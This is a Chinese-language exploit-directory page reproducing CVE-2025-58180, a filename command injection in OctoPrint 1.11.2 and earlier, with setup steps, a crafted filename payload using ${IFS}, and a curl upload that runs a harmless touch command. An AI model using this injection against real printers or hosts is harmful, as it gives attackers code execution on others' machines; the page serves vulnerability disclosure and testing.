Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-58180 — 在OctoPrint版本<=1.11.2中,拥有文件上传权限的攻击者(例如有效的API密钥或会话)可以构造一个绕过清理机制的恶意文件名,该文件名随后会被OctoPrint的事件系统执行,从而导致在主机上远程执行代码(RCE)。 | Kitploit
工具/GitHubGitHub/prabhatverma47/cve-2025-58180
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

在OctoPrint版本<=1.11.2中,拥有文件上传权限的攻击者(例如有效的API密钥或会话)可以构造一个绕过清理机制的恶意文件名,该文件名随后会被OctoPrint的事件系统执行,从而导致在主机上远程执行代码(RCE)。

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-58180 通过文件上传中未净化的文件名在 OctoPrint 中实现 RCE

在 OctoPrint 版本 <=1.11.2 中,拥有文件上传权限(例如有效的 API 密钥或会话)的攻击者可以构造一个绕过净化处理的恶意文件名,该文件名随后会被 OctoPrint 的事件系统执行,从而在主机上实现远程代码执行(RCE)。


PoC:复现漏洞的步骤

步骤 1:版本信息

下载最新的稳定版本:OctoPrint 1.11.2

图片

步骤 2:运行 OctoPrint

root@kitploit:~
octoprint serve --port 5000 --debug
  • 在浏览器中打开 http://127.0.0.1:5000。
  • 完成初始向导 → 使用默认设置创建用户(禁用:连接性、匿名、插件)。
  • 从 设置 → API 获取 API 密钥 → 保存备用。 图片

完成上述步骤后,停止 OctoPrint 服务。


步骤 3:配置事件订阅

按照 OctoPrint 事件文档:

编辑 ~/.octoprint/config.yaml:

root@kitploit:~
events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"
图片

步骤 4:创建示例 G-code

创建 /tmp/gcode/ok.gcode:

root@kitploit:~
; minimal gcode
G28
M105

重启 OctoPrint 服务。


步骤 5:概念验证 RCE

  1. 导出 API 密钥:
root@kitploit:~
export API_KEY='<key previously gathered from webUI>'
  1. 验证文件不存在:
root@kitploit:~
ls -la /tmp/test123
  1. 构造恶意文件名载荷:
    INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

说明:${IFS} 是 shell 的内部字段分隔符(通常为空格)。注入时可绕过净化处理。

  1. 发送 curl 请求:
root@kitploit:~
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"
  1. 验证执行:
root@kitploit:~
ls -la /tmp/test123
图片

如果 /tmp/test123 存在,则说明注入的命令已成功执行 → RCE 已确认。


流程说明

root@kitploit:~
[User upload with crafted filename]
        │
        ▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
        │
        ▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
        │
        ▼
system command subscriber → subprocess.check_call(..., shell=True)
        │
        ▼
[Injected shell metacharacters execute as OS commands]

总结

当文件被上传时:

  1. OctoPrint 接受文件名(仅进行有限的净化处理)。
  2. 它会触发一个 FileAdded 事件。
  3. 如果系统命令订阅了此事件,原始文件名(包括 ;、${IFS} 等)会被传入 shell。
  4. 这使得文件名中注入的命令能够在主机上执行。

结果: 在主机系统上实现远程代码执行(RCE)。

参考资料

  • 已分配 CVE:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
  • 已修补版本:1.11.3

下载工具